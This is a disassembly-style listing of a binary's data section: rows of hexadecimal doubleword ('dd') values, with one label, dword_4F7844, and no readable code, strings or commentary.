		dd 25C97B63h, 2C205D02h, 3996364Eh, 0C8F696A1h,	314BCED2h
		dd 9DE33AA0h, 95D5A58Bh, 0D4E989BCh, 13E58B55h,	517AC910h
		dd 5F28A32Fh, 0E9E108B8h, 0F629B9C4h, 47F5DC37h, 36B039C5h
		dd 4C0F2FB9h, 7C26565Eh, 0A4EA310Dh, 1BC608A6h,	66049568h
		dd 3C084177h, 450DC0FFh, 207EE875h, 8798F53Ch, 57E960A7h
		dd 42C77169h, 0C0E6BD3Ch, 28A4B013h, 615031F4h,	0EAE90B54h
		dd 7D896A47h, 4678B4E1h, 1DA0E74Bh, 3802ADBAh, 84D02955h
		dd 0DCAD1C90h, 1CAB452Eh, 49DA1F6Ah, 85748B19h,	7FADEF87h
		dd 685760F0h, 31675F63h, 0C2490FCCh, 9CFEEFFFh,	130465E9h
		dd 0E7B1BFBBh, 0B96503E8h, 564B0067h, 0DE29482Bh, 0A4924CFAh
		dd 20623CB7h, 839D59E5h, 2DA32BE4h, 1A5F39Bh, 0E6CDABC9h
		dd 0DF7255E0h, 47338373h, 66D91035h, 99253FDCh,	50B8A782h
		dd 8FBD05FCh, 0EB487E34h, 0B5F816E1h, 0E4D82CC6h, 46023C86h
		dd 0D2F75C1Ah, 3B625E40h, 0E96DCA09h, 7695042h,	0D039C980h
		dd 1BC151E1h, 51182008h, 8581B53Dh, 5734E9E5h, 0B861DDCDh
		dd 0CBDE56E6h, 1014C7D5h, 56341001h, 9A535C2Fh,	21C5FF4Bh
		dd 874FAD8Ah, 92ABC687h, 13EE52F4h, 12C6A6CFh, 0CBBFCC70h
		dd 18840ACh, 64EF5713h,	0EF017817h, 307C5AB9h, 8E225DCAh
		dd 3500DD6Ch, 5EE6378h,	57420525h, 1A0AC19h, 0A44A5D2Dh
		dd 0BA2B85E9h, 0CDA93434h, 0E75F6572h, 7D9EBA52h, 929FB94Eh
		dd 25E9BB28h, 4F529FDDh, 17F13848h, 0D9AE876Fh,	0A3292B3Dh
		dd 5E8A357Ch, 2096A793h, 0EDA09095h, 0B627004Ch, 56FD0150h
		dd 72BE6DE9h, 24359300h, 0B0544236h, 161261C6h,	2088ADB0h
		dd 0ADB83041h, 66D82813h, 5F993B09h, 0F95D4389h, 383A733h
		dd 95761F3Eh, 7D701530h, 278E16F1h, 59610E89h, 1B3EE3E8h
		dd 0FA7D8CEAh, 133A0C70h, 13555683h, 52D2BAE1h,	27095FECh
		dd 0E9619F53h, 16972336h, 2722BFB8h, 758DEACCh,	0D42D1E47h
		dd 0EAE9C518h, 0B6D0DEC8h, 454E2D6Ch, 646ACD2Fh, 0A8D04E6Ah
		dd 0DE494E4Fh, 9F4B7030h, 0E4E9F53Bh, 81D97C6Fh, 205B84BEh
		dd 3EF681E8h, 215C4BDCh, 4E2F028h, 0CF052AE9h, 9F02AA11h
		dd 5F413273h, 90AE5D83h, 9C99FB85h, 22BE320h, 0E90AF15Bh
		dd 35F49A92h, 725BD567h, 29363880h, 6881326h, 0ECED6A1Dh
		dd 0D1416B27h, 3859ADB2h, 0E9FD30EBh, 58A06186h, 0C1A1ED80h
		dd 0D6C5D5E5h, 9ED37AD5h, 0BAD90BC9h, 55964475h, 91CCE64Ah
		dd 0F7C016Dh, 4148BC2Dh, 7FCAFF72h, 585051E6h, 8B951863h
		dd 0C0035533h, 0D505B9AAh, 3F0333EDh, 0EB249BC1h, 0F9CE007h
		dd 0A3F44B8Eh, 0AD75525Eh, 0D0BEF6FBh, 69972FD6h, 45210235h
		dd 16DE63FCh, 0AFF7090Fh, 16EF3560h, 82052635h,	9FE1202h
		dd 5042F00Bh, 42AE8185h, 3EF168C7h, 0EA90CC46h,	0AE87AD2Dh
		dd 3334A967h, 134B88DBh, 98F19F38h, 0B1CF1EBBh,	684D0481h
		dd 982E31B7h, 575C8384h, 9E91261h, 1C33FB44h, 7734FEh
		dd 515257A6h, 31283A68h, 6A2D9CEBh, 851D94Bh, 51250F4h
		dd 0E9C595FBh, 69206264h, 57680136h, 3CBD6363h,	488A9552h
		dd 72E9094Ah, 0B61F72C2h, 2B920354h, 0C3A309Eh,	63B0120Eh
		dd 391CE901h, 3B202A2Eh, 166B02BEh, 6FC1E92Dh, 3AF1D2C9h
		dd 5E53A381h, 4D893F20h, 896CB75h, 5503F911h, 0A25ED668h
		dd 77965575h, 4DF2E509h
		dd 7E0F02C7h, 9FD1CE99h, 41756C50h, 40EB2FC0h, 0B81C9279h
		dd 500C404Fh, 8031B407h, 54B549CCh, 0F30020E9h,	7FF756FBh
		dd 70399E2Dh, 0F10375BEh, 550F258h, 3676E9B3h, 741336Ch
		dd 1B11A8F2h, 0BFA1E904h, 0E941EAF2h, 0EA6702FBh, 68A02869h
		dd 35B923C0h, 0C4FBE30h, 2FEE6BBAh, 0E5D829B7h,	7459CF2Fh
		dd 9561DA70h, 0C3306E49h, 965D5255h, 985F2759h,	974FEBEh
		dd 0D9F76523h, 5B925183h, 55522BAh, 5DBA2DCCh, 42742CEh
		dd 0E2D72835h, 8B070978h, 5FC87D06h, 0C80C310Eh, 8B419D68h
		dd 95279ADFh, 480546A0h, 117EA440h, 0C89FEF74h,	17418724h
		dd 456148Eh, 8AD6CFB1h,	861862EFh, 0C5F80BAEh, 0F155AD2Fh
		dd 91C8A7B7h, 0F3A45BB1h, 16426104h, 0F8804338h, 11CC4A09h
		dd 82F30112h, 4C54A6E9h, 806812ADh, 827A3743h, 4CF96A49h
		dd 4585BE81h, 0DC6F6260h, 741DE94Ch, 23173D12h,	9D7516ABh
		dd 4E604BEFh, 5DA35E16h, 0FA014248h, 15FCB59h, 21931F7h
		dd 76825E08h, 0B90747D1h, 113829B0h, 0BDF9F641h, 787C1F42h
		dd 77F3E7E2h, 12C88510h, 0FD404181h, 0F976367Fh, 0F340342Ch
		dd 0F9689F5Ah, 23BF8ED9h, 0D26D6387h, 8A1F4074h, 0EF4209A9h
		dd 0E9FFCF31h, 1870D196h, 0C9636410h, 0E7E0BFC2h, 945CA059h
		dd 0BECC833Ch, 0BF0029A3h, 1AA0B7B6h, 5D4F0AE9h, 0A69A61FAh
		dd 0C2BD6BD8h, 673BF1C0h, 529D2801h, 3AC30C41h,	8BDA26BFh
		dd 0A8A1E318h, 3D57AF18h, 0B0A67DB1h, 0E0C087DCh, 0F7AB8206h
		dd 0C1D8F1DDh, 6E0ABF68h, 0F2698D8Dh, 88F3AA92h, 6800F4D0h
		dd 327237CAh, 805B47E9h, 218E18CDh, 0EF122DB7h,	5D8BC3A6h
		dd 7A6457DEh, 0BAE3C106h, 615F3920h, 0CEDEE49h,	62A02BF6h
		dd 5D7F0091h, 4ABB53AFh, 7609B478h, 566131E9h, 9488731h
		dd 0CB05D10Fh, 0C4B8310Ah, 7DCF7382h, 22F1CC5h,	0D7FD88B0h
		dd 0E388CEE5h, 0EF2D1386h, 54598A49h, 0D2E18954h, 68E7CDD6h
		dd 7F0B30B7h, 295EF494h, 3E840EE9h, 51CDEA7Fh, 0AE045EE9h
		dd 0B0F1B807h, 0E6578FA2h, 3FB6092Ch, 0FB50E6D0h, 54005D97h
		dd 5AF70867h, 7BFCC058h, 1768CF0Ah, 80A6422Eh, 46E8CD0Bh
		dd 5DC92E3Ah, 2F4D6AC9h, 57A5A0F6h, 0C0BF996Ch,	0B7844C7Ch
		dd 0F5D23F76h, 0B192DCE5h, 0F0011F81h, 172B1B31h, 947CA3C7h
		dd 8EB675C3h, 990F6D9Ch, 2E496B44h, 48FAA5DCh, 5BDDD544h
		dd 285B90A8h, 0C7298083h, 0E984E705h, 0C2E47E71h, 0A3E02EAh
		dd 0F20142B4h, 8016C42h, 6EFAD8E9h, 969FF5ECh, 0F7273148h
		dd 0C03A21DFh, 2E58ECE5h, 9115C43h, 85F8205Ah, 17A39331h
		dd 5004E805h, 8C5BC34Dh, 0E965D198h, 0F432B625h, 0F480723Bh
		dd 14266CCCh, 72754082h, 0A590973Eh, 2117FA44h,	27B42E68h
		dd 9342954Dh, 27A21455h, 0A4F109B1h, 0A310F569h, 4758F768h
		dd 82F0D202h, 51A45DABh, 5ADEC4h, 2E367205h, 0D2FFA018h
		dd 7610F81Ah, 0DC681701h, 2A9A8C5Eh, 76956701h,	3E9C141h
		dd 0E1D4C061h, 0D2E6C108h, 7B3D0901h, 0DF582FB0h, 60559245h
		dd 541BE09Ch, 58AC6D4Ah, 0B2BB6250h, 70449538h,	2CA2555Eh
		dd 6A8FB192h, 2158E8A3h, 413E9B81h, 0E9F2E076h,	8DC2B55Eh
		dd 0C591FD5Fh, 21A7D042h, 0B6EAC130h, 0EB30E9DAh, 0DBB84E81h
		dd 6488ED87h, 0C67F291Fh, 0F5591826h, 6C030581h, 0D5D40984h
		dd 78CE3467h, 4F78802Ah, 0A17A276h, 0D0CDDF7h, 195A3495h
		dd 648EB80h, 0FAE30363h, 38CAD8CCh, 0CD7D3FB5h,	0E31EC360h
		dd 0F3790620h, 4A39EA2Fh, 0D39FB82Bh, 68B80EBCh, 0D33A7D01h
		dd 9433E92Bh, 2D18E72Bh, 0A894FC05h, 22570182h,	0EEC14C3Fh
		dd 0D0017B03h, 4E071E39h, 80851820h, 0C2788966h, 0C9846F5Bh
		dd 0A21DA2AFh, 0E7DC5555h, 0AA544A74h, 0B04B673Dh, 8B8AFE4Bh
		dd 0FB2FCAC9h, 407DEEC0h, 6B83485h, 0D027D227h,	4E06B098h
		dd 7B40E157h, 1EFCF361h, 9D8EB12h, 7435758h, 5F067FEh
		dd 15AB52C4h, 1CC599Dh,	69FEBA1Eh, 0DD5E582Fh, 35207F94h
		dd 0B6812C8h, 0C1C5A831h, 37E753A5h, 9A509D60h,	5BD927B8h
		dd 852312DBh, 0AC6E5C51h, 48E9E092h, 0BC1EB144h, 0BECD9A38h
		dd 2824F502h, 0BD459E8h, 651089C8h, 2F6C5B29h, 1577A27Fh
		dd 2B60894h, 0B9B035Dh,	0C104CFF6h, 16FC08E2h, 9546F074h
		dd 574850D0h, 1EDC05D9h, 84BB1613h, 73B8A81Ah, 4016F15Ch
		dd 68165E0Eh, 10AC6AA1h, 8B0082A5h, 38244F47h, 723B0A0Bh
		dd 80A8D65Ah, 42599421h, 0E07EFD6Eh, 684B1E54h,	817B4DB1h
		dd 0F2D6380h, 0FE9D0952h, 0A10797F0h, 3E806635h, 8A7B13EBh
		dd 1E8E41B4h, 0D71B1328h, 13DE0AAh, 0F6A77291h,	0AA0FB420h
		dd 0DD550421h, 0D7308005h, 6AE73142h, 0FEE5040Bh, 367869FEh
		dd 837A9C41h, 838D7BFCh, 0EBEFD7FAh, 5686372Ch,	81F4B67Eh
		dd 0A82FFD68h, 60E82703h, 0BA52E101h, 0F120845h, 6A727B07h
		dd 812CD1E6h, 0FA55A08h, 5D027AD6h, 5F615968h, 0B70CB818h
		dd 56ED63C9h, 645EB05Ch, 3B5B4C01h, 204232A0h, 10097536h
		dd 8B900D15h, 0EC580E7Dh, 27F83C5Bh, 0A25EC863h, 81A1C34h
		dd 5A14051Ch, 6FB037E8h, 0C5F2A48h, 197847F0h, 38A72699h
		dd 0D76C011h, 75C6ABDh,	7E195808h, 7AE9D80Fh, 0FAA9F24Eh
		dd 2385CBCFh, 12BCD77h,	3A35D1DEh, 0E2845457h, 472900FFh
		dd 29328C86h, 0C6B8D665h, 0CC996BAh, 286C723Dh,	3C4EF148h
		dd 0FADF85F8h, 0B1FBD213h, 3BC5CD5Dh, 6C0A6E35h, 6ACB9BAh
		dd 8838AF24h, 3F174A2Ah, 0F84B0EBBh, 6382897Ch,	7858E29Ch
		dd 560CDE55h, 811EA8DEh, 2279CABFh, 0BF7B170h, 28644B6Bh
		dd 8235A80h, 42B559E3h,	0AF50D75Ch, 3EFCCF5h, 0B0442EC1h
		dd 0AC2A139Ah, 50AD27BDh, 36FF9723h, 8BA0259Eh,	2E8868D9h
		dd 597A2851h, 0A85ED05Fh, 0DDB7A201h, 0BBA0125Bh, 8B287D9Dh
		dd 7B6F82BDh, 0C35768F6h, 4BF01C2Eh, 0B1FF2F09h, 0E33B5E06h
		dd 809A8478h, 13ECAD13h, 69ABBE68h, 968F473h, 0F23AA29Dh
		dd 537D09BCh, 13E9C11Ch, 5FB7D93h, 3E527632h, 4FAE1FEh
		dd 42EF0108h, 6F25B478h, 168D21A4h, 0FA43083Fh,	5716D418h
		dd 6C6700BFh, 0CF8127F7h, 73281F82h, 0E92DD84Eh, 9DA6D864h
		dd 41A7BA75h, 0DA29A352h, 9668320Eh, 9F88420Bh,	0FDCC39F2h
		dd 0FED6612Ah, 13C99CC3h, 0E410BC89h, 0FC8EEC0Bh, 0DA0FC2A5h
		dd 1AAF4851h, 4E2D40DCh, 57E10F53h, 0A81CC101h,	52583408h
		dd 5D41802Ch, 0AB0BBA45h, 0F078B57Bh, 1F814A46h, 0FE5292A2h
		dd 5F8B9AB7h, 73513992h, 9CC2756Bh, 49DF795Fh, 54422359h
		dd 0F0CA7C5Bh, 9C5AB8E9h, 6485F4E2h, 3CAEA2CCh,	78C39254h
		dd 1E84C337h, 0D50844FBh, 0E037BA76h, 0F580DAE2h, 0FA45A119h
		dd 0C2877655h, 5BB09548h, 985ED9E9h, 7F8031AAh,	301C818Ch
		dd 63B753D8h, 167EA26Fh, 48A073B6h, 6F414CC6h, 44231155h
		dd 7197277Ah, 433CE9D2h, 0EB72984Bh, 0FEB1F3F3h, 8A54C61Fh
		dd 0E304913Bh, 4F1C6CF0h, 0B6AA6F80h, 899E166Fh, 0A1D313DEh
		dd 0B726753h, 66540368h, 41665DEBh, 546CEB4Fh, 8B866419h
		dd 0B8E1EBEBh, 2646D82Eh, 5797519Ah, 0E91A07BEh, 7E4E4DFFh
		dd 8273C7Eh, 484204D2h,	0C616E359h, 9270450h, 71BFF5D7h
		dd 67B67FF1h, 0BED86685h, 23033E31h, 6D72A48h, 0BF16106Bh
		dd 0A2C20BDBh, 0C0405CEEh, 171CEA1Fh, 0FE660B1Ah, 0C0065B1Ah
		dd 3442D282h, 0AA890635h, 0B66E6F3Dh, 2D7B572Dh, 6BB77C6Ch
		dd 0E9247BDAh, 0F7896D38h
		dd 81D8D4DAh, 0CF5A6CC2h, 15C86A42h, 9CBD17B0h,	9C91AAF2h
		dd 92A3FE9h, 16FF58CBh,	4D792528h, 0AFD92BBBh, 0F1C75266h
		dd 0B690F60h, 0FE52B238h, 0A4121F5Bh, 80A680A2h, 1BED595h
		dd 0B3311E9Dh, 0BC5CC514h, 384C80C5h, 4BE94DCCh, 0B92400E4h
		dd 98BCD12Fh, 524AB598h, 4EE28BBBh, 315AA7A6h, 0FA0868B2h
		dd 29A54B51h, 0BE907532h, 7897B6E9h, 0EB79B552h, 52725EC9h
		dd 9D05C1h, 0BF39C4BDh,	8F0300Bh, 5C89C195h, 65E8AF04h
		dd 5F8DAAB5h, 4B88DA20h, 2A938D11h, 740D4B22h, 0C6050718h
		dd 293F102Bh, 7A02DD0h,	3C498B5Ah, 84E9B04Dh, 0C842D0B4h
		dd 0B025539Eh, 0CD2F8040h, 0D4047D4Ch, 0CF35A881h, 0EECF1EB6h
		dd 65E6C496h, 8B3267D7h, 8ACF4BE9h, 2FCE6E5Ah, 353D132h
		dd 0F55AE610h, 5FA92FF9h, 0AD6C5813h, 9F8A164Fh, 25BBD1FEh
		dd 0CC01055Fh, 3AC67C51h, 40C7F82Bh, 0CA4FE908h, 0BAF3B516h
		dd 0BBC331C4h, 0C2E45CF8h, 19B24C03h, 367B225Fh, 32030968h
		dd 9FD2539Dh, 2F06F8D5h, 4EC95DEBh, 4807EAB9h, 1E9F965h
		dd 37FEE03h, 0C097EA1h,	2D13973Fh, 4C402F16h, 8905C4h
		dd 0F6814E50h, 6D6E45EFh, 0A309CEECh, 575DAB21h, 312DC4F2h
		dd 0A20AC6C8h, 4298DC76h, 59F5490Ah, 3F3FA8F1h,	0CE2CECB7h
		dd 5F54898Bh, 60D7C9B9h, 1ECBCF3Eh, 0AF487541h,	6CB05066h
		dd 683EC927h, 95625351h, 810734F5h, 85141098h, 0AA7A53ECh
		dd 0C1B4B3F2h, 9E63DEh,	958E188h, 0F986D7F6h, 0FE1CB4FCh
		dd 7524E9C9h, 5EF13720h, 0BDF4CA29h, 21D1925Eh,	5C03189Dh
		dd 72E7B2E1h, 5F7707C4h, 7B2156Bh, 979B7D5Eh, 3849BDFAh
		dd 72F37E7Ch, 91CF94Fh,	7699E95Fh, 701425E7h, 56806816h
		dd 2DB0E0F8h, 0D3273DB4h, 8270D837h, 5FA40207h,	0E28D4684h
		dd 0F8281D6Ch, 2127392Ch, 91E913A2h, 0A5B00DC8h, 1B8840BBh
		dd 0E2BE01A6h, 3A1F334Bh, 0DFFEB402h, 41FC41F4h, 9D404670h
		dd 2F566C61h, 24D20EFBh, 2239AA33h, 0F7F36552h,	6F58F590h
		dd 0D64FA52Fh, 5A08A0B4h, 0E068EE5Ah, 407BF3E9h, 1E33F1C7h
		dd 70974110h, 665020FEh, 584717B4h, 9FE67B3h, 5F4BF7CFh
		dd 0BA7FB0D5h, 490518B3h, 0A8AE434h, 0A9A28590h, 20AE4475h
		dd 665EB145h, 6C8FDFFCh, 0FA8BBFB7h, 26DF297Eh,	1A209488h
		dd 58645221h, 948DA3BFh, 4119165Ah, 32D819FCh, 0E1272803h
		dd 815AD822h, 0E82C5F07h, 59CE0473h, 0B365C3E9h, 772579A0h
		dd 7922448Eh, 0C3274A56h, 79515549h, 80138B92h,	0AFF582C3h
		dd 7F22CA91h, 12F67AD2h, 51FC6295h, 0DD326BAEh,	5CA8545Fh
		dd 89FEE917h, 12C13520h, 5C592D01h, 12082B28h, 8B31C05Eh
		dd 800F432h, 76E86D2Dh,	925DE98Eh, 0C7012D95h, 0EACB45ECh
		dd 0BD70F022h, 0FA08B1F8h, 264773Eh, 78E73050h,	75804943h
		dd 0E976CF92h, 0A3C98F4Ah, 0DFF5607Eh, 0B29421E9h, 754C5F27h
		dd 0CD3C6127h, 0ED4727FFh, 4FB0D7A7h, 0CA255F60h, 0A0A2FE11h
		dd 0B6594E08h, 0CD4B4B4Eh, 711C7DF8h, 0B52DF0BDh, 65E96A18h
		dd 0CF4955Bh, 4F021466h, 0DC068436h, 0C14AA27h,	0A83DD80Ah
		dd 0C5008A06h, 95075F3h, 0C15B1FDAh, 0FD562DE2h, 0C26851C0h
		dd 276DF807h, 39F6DCE9h, 2B464142h, 0F541B2D0h,	0C4278362h
		dd 652F1374h, 658D9C45h, 7D357E67h, 0EBA54AB8h,	0DB6A14CDh
		dd 94504D5Dh, 0F1862570h, 1D748098h, 0CD310AD4h, 442CC2C4h
		dd 6F257BF3h, 0D030F382h, 0AE459461h, 0E7BD23Eh, 0CBF780CFh
		dd 0BA5BF806h, 0F4D8283Fh, 0C7E9CBC4h, 0FB4B6BA8h, 23AEF7DDh
		dd 33E97087h, 0BF36515Eh, 68530B3Eh, 0A274385Ah, 2236AA62h
		dd 477F7ADDh, 2B6D8214h, 84C15760h, 23BB2008h, 1BE33D17h
		dd 174280FBh, 5461520Ah, 0D085BA1Ch, 9FA780FAh,	276C832Dh
		dd 0F498D131h, 7021B05h, 0C8295372h, 3207892Dh,	0D164D57Fh
		dd 1A560948h, 8254514Ah, 0D007ACBDh, 224BEC0Fh,	315802BCh
		dd 409325CCh, 78BDBA9Bh, 7C7E7C1Ch, 0BFA94AD6h,	404ADF4Fh
		dd 814524FEh, 0C0909CDh, 0D084260Fh, 5968005Fh,	0E8404B78h
		dd 54F6952Dh, 0AC1EBB3Ah, 0C8146F0Dh, 139B4CA9h, 30F23109h
		dd 5949BE02h, 0DE403A17h, 4D013C39h, 0E9CE2952h, 0AD5105A8h
		dd 14AD5BD9h, 0E2D5FD89h, 0E96B40DEh, 0FA5E5E15h, 9D0B3F38h
		dd 491867A0h, 9DB857AFh, 7F156160h, 69441369h, 83836031h
		dd 0ED96766h, 3C46D5E9h, 6B6A164h, 8B007E25h, 24465DEh
		dd 124E680Ah, 0D3DF32C9h, 0B8F42F40h, 503BE989h, 0A268132Dh
		dd 0BD69BB53h, 5B0DAB5Ch, 5422EAFCh, 3546C88Fh,	362F0667h
		dd 28C3897Fh, 9BAB040h,	16300476h, 370C0277h, 5D20A0D9h
		dd 0E85B5553h, 46DE2E87h, 0AAAB2C01h, 708B2F05h, 0BCFB96D5h
		dd 110026A5h, 50BF02C0h, 7166F420h, 423D0C91h, 0B53C51C5h
		dd 0C37196D3h, 1F1E74FBh, 8769838Ch, 0C4B4013Ah, 580804D4h
		dd 9F01B356h, 293BE00h,	31C10934h, 30606E6h, 0FD317046h
		dd 68052516h, 79A1C1ABh, 1BAC6E60h, 613A8BDEh, 0D8BE3EA3h
		dd 80F11DD5h, 401AE681h, 759574E9h, 2EF3B223h, 6DA79DBh
		dd 0D0D0D729h, 0D9860100h, 2C64B050h, 3941E4A7h, 0B0E707E9h
		dd 0D8DAE9F7h, 470EB909h, 25157050h, 7E463D68h,	424A6CF0h
		dd 466D4930h, 84614E9Fh, 2C59991Eh, 0F4515150h,	0FA3B6579h
		dd 0EF3024Ch, 99172E2Bh, 0EB101416h, 1D2842B6h,	0D95EDF6Eh
		dd 0DECB09EEh, 0EE751D62h, 49F1FAB8h, 0D00117F6h, 4D1FDA0Dh
		dd 49F02B3Ch, 48CF3C2Dh, 0C463C8AFh, 5205EAD8h,	0F72FA4B2h
		dd 35F945D2h, 0F8A1825Bh, 6805A645h, 65F36489h,	481A0079h
		dd 0E59C0543h, 0E4F2BCB7h, 0C10B68F3h, 4D367AF6h, 2CB66630h
		dd 0CC5CA30h, 0EB61C057h, 0A36CD20Fh, 764F6963h, 179C89FEh
		dd 0D123A825h, 89D121CBh, 5FFB353Ah, 448BDE59h,	0B76E7787h
		dd 4184F14Eh, 0B1F1B2ABh, 4936E4F2h, 9192184h, 43A70253h
		dd 6C5D809Dh, 0BD1F9034h, 61B5C260h, 229DC5Ch, 6195AC5h
		dd 9766700Ah, 0D0092174h, 0B19F137h, 0A49ADF98h, 146AF27Fh
		dd 41645868h, 695DA78Bh, 6B78B849h, 61900502h, 427F3432h
		dd 0DD070B1Dh, 0E5E0CE8Fh, 5B31770Ch, 0E1F3E927h, 6D215C2Bh
		dd 0B5A7887Fh, 0BE0164BEh, 8AD62B2h, 0E3F4D425h, 0A9F99D7Ah
		dd 57EF89C9h, 4C620F71h, 0D09C5726h, 0B5771495h, 6E5BCB91h
		dd 22FE27C4h, 3E5C6345h, 706EF982h, 9416D81Ch, 0FDB29631h
		dd 0B3F202CAh, 7D6D704Ch, 0E90476D1h, 32FF532Bh, 56E92E10h
		dd 0E15DF850h, 6A741FA0h, 0A5210E3Dh, 0D56A0BCFh, 64AA6994h
		dd 783EF05Fh, 48CD95EEh, 0FD9D8DAAh, 0E91C2B94h, 5D277B25h
		dd 0E92F31B6h, 0C8158BDAh, 0E1092A7Ah, 0A4D9B83Eh, 0C24C88B8h
		dd 5C262302h, 8204010Bh, 0EFEF13AEh, 0E2F9FB9Dh, 68CED03Fh
		dd 679B674Ch, 7A2B0C02h, 2515D04h, 0DF8EA689h, 6C9C78C4h
		dd 75E3394h, 10A614B9h,	75ECA60h, 115758E6h, 0B81B1275h
		dd 0BAB916A7h, 0E029BB82h, 95393854h, 0AB8C077Bh, 4E2914CAh
		dd 0D3CCF2D1h, 0AE325F1Ch, 6FE484E6h, 9724F088h, 755A3EF6h
		dd 0E9164314h, 29FE57C1h, 29BE2E7Ch, 2A41EAC9h,	30DA6563h
		dd 8382FCBCh, 0F04A2264h, 95FD891Eh, 0F12592D7h, 27E968EFh
		dd 0D14ABC85h, 0A01B8DE9h, 8940A35Eh, 8AD658F7h, 0FFB39B0Ah
		dd 3DCF09B0h, 68C3DCD9h, 0E6EC8D25h, 3367BC4h, 0C249E780h
		dd 42897D64h, 6353D1D7h, 0C901358Eh, 0C3134AEEh, 0C8295B30h
		dd 0B2378816h, 0E8898716h
dword_4F7844	dd 5C812229h, 337C0B88h, 7C37FB01h, 37275F0Ch, 2EEAD94Eh
		dd 85FBC234h, 99D8BF19h, 39756442h, 0A66880EEh,	5F5C1344h
		dd 6B3004F0h, 30A04E6Ch, 0A5905A3Dh, 0DF2A878Ch, 68E24C7Fh
		dd 4B4C7FBAh, 0F582B0E6h, 0EF400D2h, 0EAA24F54h, 5E0F423Fh
		dd 3830635h, 3BD19B49h,	0CA1793CCh, 6C0B092Fh, 0F77D277h
		dd 0E701ADBh, 7AD8B78Bh, 7A605E9Fh, 5C560F5h, 0E92B09E4h
		dd 1AFA0D6Dh, 0A0C6014Fh, 2DFB790Ch, 985055CFh,	0EDFEC4B2h
		dd 0D52EC8A0h, 4815980h, 2D64A6F6h, 0FCD3C722h,	68270706h
		dd 5118FF49h, 0D99F1787h, 643F9D9Dh, 11A8C1F4h,	0AC6A20A2h
		dd 59BDA7A8h, 34B36A13h, 0F50700FFh, 0C730A25Dh, 0D34DBC90h
		dd 7F8217C7h, 3E500DB6h, 51BA8021h, 63560D2Eh, 69DFF201h
		dd 0EF2B1FC9h, 635AB645h, 0EDB7D9AFh, 0E850026Fh, 10D5896h
		dd 3A830EBCh, 0DDE9FA2Dh, 84C47E03h, 112C4E8h, 956A2D1h
		dd 0D65FA8E9h, 3CD3406Ah, 76954133h, 60A4895h, 0C697E6E9h
		dd 2BD53503h, 0AB2D5579h, 0D795AA9Fh, 55A58ADBh, 6C9D0D66h
		dd 0FA0EA082h, 12540023h, 563AE781h, 0C984015h,	0EBFDCA12h
		dd 9F84F0Bh, 25FCDE54h,	201516DFh, 5137C6Dh, 0BBBF9A0h
		dd 17C0D409h, 0A5B8E589h, 647F2F43h, 80AD3F02h,	1B03686Ah
		dd 39524DCDh, 2C30C2F1h, 0BD4C4B5Fh, 0D3C9D3E3h, 0BDCCBC2Fh
		dd 40725808h, 0A8BEBB33h, 38BD341h, 9576797h, 0D25DCBD6h
		dd 509D2581h, 0EBA0C2DBh, 0D1416C5Eh, 0C92BD9Dh, 3F4E9830h
		dd 291E6763h, 8EA14F2h,	9EDBB50h, 3536057Dh, 552D82F5h
		dd 60B80051h, 2F7DD825h, 9A13400Fh, 4669E57Bh, 0C4293ECDh
		dd 0B7677F1Ah, 751BC25Dh, 5B5F3A58h, 67E271FFh,	0CD7607E0h
		dd 8643E7Eh, 0E590998h,	8A136984h, 87FAE937h, 1C47D1A0h
		dd 32DFE458h, 43B83AC0h, 0BD079D4Bh, 0F701B254h, 293C09B1h
		dd 1D75B061h, 0D6ADE03Bh, 4790FA4Fh, 2A07F37h, 59CD0913h
		dd 0CA41DDF7h, 0A6002F45h, 0E9E45B80h, 0F49C4B6Bh, 0ED256752h
		dd 0CE36813Bh, 846B1E20h, 39BCEBC5h, 8456B24Bh,	30E81021h
		dd 2598ADA4h, 0C02742E8h, 8B124812h, 4684648h, 18B7332Fh
		dd 129D2FBh, 0EA813CF4h, 3C5F5619h, 877506Bh, 0EDF75E25h
		dd 4EE90B03h, 0F60E51D0h, 965166DDh, 57F51FBBh,	2D75C0EAh
		dd 0A10057C0h, 0BC354815h, 0A9116564h, 9DA4ED7h, 0E7F0DDF8h
		dd 0C4C1BF6Fh, 5F0B3AC0h, 87F16557h, 9735568h, 80727B75h
		dd 1413E981h, 0D0EA616Bh, 0F9A3C75Bh, 0E110DA26h, 29EF68E9h
		dd 2360072Ch, 0C2E614D2h, 0F5C42D78h, 97B3BEF7h, 0DE2F57DCh
		dd 5B54D0FFh, 420C5B9Dh, 0C2D66D6Eh, 0C767FB71h, 0F1F77162h
		dd 8B95F15Dh, 4B6EAE26h, 7C4BD7B0h, 3C02B961h, 0D826844h
		dd 1F8608A9h, 0BF8792C0h, 59DA5C38h, 2384D11Ah,	5E9C1478h
		dd 286806AFh, 0C2D10E3h, 7041765Bh, 3BF3C068h, 0E15067B6h
		dd 753A3C40h, 6794EBCAh, 0EF4B0DFCh, 0E7FEEB75h, 2CA9238h
		dd 9CE95209h, 20B0C261h, 0C0BFC311h, 4B61688Fh,	4D41EB74h
		dd 0F5EC8092h, 1422C8B7h, 28518751h, 0AD1A7F2Eh, 648140C1h
		dd 7445602Bh, 3D090CEEh, 0CE3A4B76h, 7A6816D8h,	4155FB00h
		dd 95314F39h, 0EB02577Eh, 57684411h, 0A64237DEh, 45D70BCBh
		dd 9DDA8BEh, 3DE1D3Ah, 0D35E5DCh, 0FEBE04EFh, 6086F543h
		dd 0FEBF05D0h, 3F3A8298h, 7CC02594h, 6B286EA2h,	0F0009E36h
		dd 29EF0975h, 0F7B0E9F9h, 0A86B0F65h, 0EE247AF7h, 87401CB3h
		dd 0B55ECF68h, 0C12F27C6h, 9EC4612h, 607C1783h,	68500D0Bh
		dd 4C765861h, 0D5F26F4Dh, 9CC502A7h, 0D9975A56h, 1C903D0Eh
		dd 53C4852h, 741940EDh,	6C7C8405h, 86AC4EC5h, 0B7785B78h
		dd 0E24A7B74h, 86BEBFC3h, 0EE293E03h, 8E909F2Eh, 1EE6E7B7h
		dd 0F9970E72h, 4E5DC957h, 0A187BF99h, 47684051h, 1788846h
		dd 0BC0BE59Ah, 84FE77B9h, 78E10264h, 92D2FD6Eh,	41B514B4h
		dd 6743412Fh, 6068007Eh, 0EBBB34h, 30757BB7h, 84164DBAh
		dd 28C7CF8Ah, 1C6BD8A9h, 0EDD0F797h, 1E261476h,	2236A9BFh
		dd 7937EC02h, 69F45D2Bh, 0D3AE5BC5h, 2350E8D4h,	501FB643h
		dd 0C1160A8Fh, 961DC80Fh, 273304AAh, 772DFF16h,	94AC8C14h
		dd 407DF54Fh, 72253583h, 90E97809h, 7D6D9221h, 35DA3FCBh
		dd 7558897Dh, 0E6633D79h, 0A21E5E44h, 418DE3D8h, 2FDC872Fh
